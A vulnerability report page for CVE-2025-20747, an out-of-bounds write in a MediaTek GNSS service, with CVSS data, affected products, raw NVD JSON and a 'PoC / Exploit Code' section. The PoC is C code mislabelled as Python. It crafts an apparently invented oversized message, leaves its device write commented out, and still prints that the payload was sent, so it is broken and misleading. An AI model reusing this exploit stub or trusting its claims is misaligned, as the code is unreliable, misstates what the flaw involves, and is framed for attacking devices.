Security Vulnerability Report
中文
CVE-2025-20747 CVSS 6.7 MEDIUM

CVE-2025-20747

Published: 2025-11-04 07:15:50
Last Modified: 2025-11-05 17:11:25

Description

In gnss service, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10010443; Issue ID: MSV-3966.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:yocto:4.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rdkcentral:rdk-b:2024q1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek GNSS服务 ALPS10010443补丁前版本
受影响的MediaTek芯片平台(具体芯片型号需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20747 PoC - MediaTek GNSS Service Out-of-Bounds Write // This PoC demonstrates the vulnerability in gnss service boundary check // Note: Requires system privilege to exploit #include <stdio.h> #include <string.h> #include <unistd.h> // GNSS service message types #define GNSS_MSG_TYPE_CONFIG 0x01 #define GNSS_MSG_TYPE_DATA 0x02 // Malicious payload structure struct gnss_message { unsigned int msg_type; unsigned int payload_length; unsigned char payload[256]; }; // Craft malicious message with oversized payload int craft_exploit_payload(unsigned char *buffer, int size) { struct gnss_message *msg = (struct gnss_message *)buffer; // Set message type msg->msg_type = GNSS_MSG_TYPE_CONFIG; // Intended length check bypass - triggers OOB write // The service fails to properly validate payload_length msg->payload_length = 512; // Exceeds buffer size of 256 // Fill payload with controlled data for exploitation memset(msg->payload, 0x41, 256); return sizeof(struct gnss_message); } // Send malicious payload to gnss service int trigger_vulnerability() { unsigned char exploit_buffer[1024]; int fd; int payload_size; // Open gnss service interface // fd = open("/dev/gnss", O_RDWR); // if (fd < 0) { // printf("Failed to open gnss device\n"); // return -1; // } // Craft exploit payload payload_size = craft_exploit_payload(exploit_buffer, sizeof(exploit_buffer)); // Send to gnss service - triggers OOB write // write(fd, exploit_buffer, payload_size); printf("Exploit payload sent to gnss service\n"); printf("Payload size: %d bytes\n", payload_size); printf("Expected payload length field: %d\n", ((struct gnss_message*)exploit_buffer)->payload_length); // Close device // close(fd); return 0; } int main() { printf("CVE-2025-20747 MediaTek GNSS Service Exploit\n"); printf("Target: MediaTek GNSS Service\n"); printf("Vulnerability: Out-of-bounds write due to incorrect bounds check\n"); printf("Prerequisite: System privilege required\n"); printf("\n"); trigger_vulnerability(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20747", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:49.540", "lastModified": "2025-11-05T17:11:25.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In gnss service, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10010443; Issue ID: MSV-3966."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:yocto:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "437D8F9D-67DF-47A5-9C96-5B51D1562951"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rdkcentral:rdk-b:2024q1:*:*:*:*:*:*:*", "matchCriteriaId": "CB397DA1-62B3-48FD-B694-9FDA4DA25EDE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:23.05.0:-:*:*:*:*:*:*", "matchCriteriaId": "00113669-2850-4F0C-913A-92CA5290746E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:zephyrproject:zephyr:3.7.0:-:*:*:*:*:*:*", "matchCriteriaId": "8FA9F6FC-E722-428B-BB01-E9082DBF9A32"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:*", "matchCriteriaId": "F5506327-7DDF-4E88-9EA8-10B8E32F848B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6982:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFB497BE-A045-4673-874C-7337E62CC606"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6986:-:*:*:*:*:*:*:*", "matchCriteriaId": "1F419FE2-2D6D-48EE-9B6C-E88AC5D44186"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6986d:-:*:*:*:*:*:*:*", "matchCriteriaId": "68AA1CF7-F1CB-44A0-980E-DB32D9E379B9"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6990:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A76806D-A4E3-466A-90CB-E9FFE478E7A0"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8676:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE302F6F-170E-4350-A8F4-65BE0C50CB78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8678:-:*:*:*:*:*:*:*", "matchCriteriaId": "152A5F3D-8004-4649-BDB1-E6F0798AF1CB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8755:-:*:*:*:*:*:*:*", "matchCriteriaId": "1CF88096-5CBD-4A4B-8F47-33D38985956F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8893:-:*:*:*:*:*:*:*", "matchCriteriaId": "CCFAADB1-C2B2-47A6-BB66-761B964E7DFB"}]}]}], "references": [{"url": "https://corp.mediatek.com/pr ... (truncated)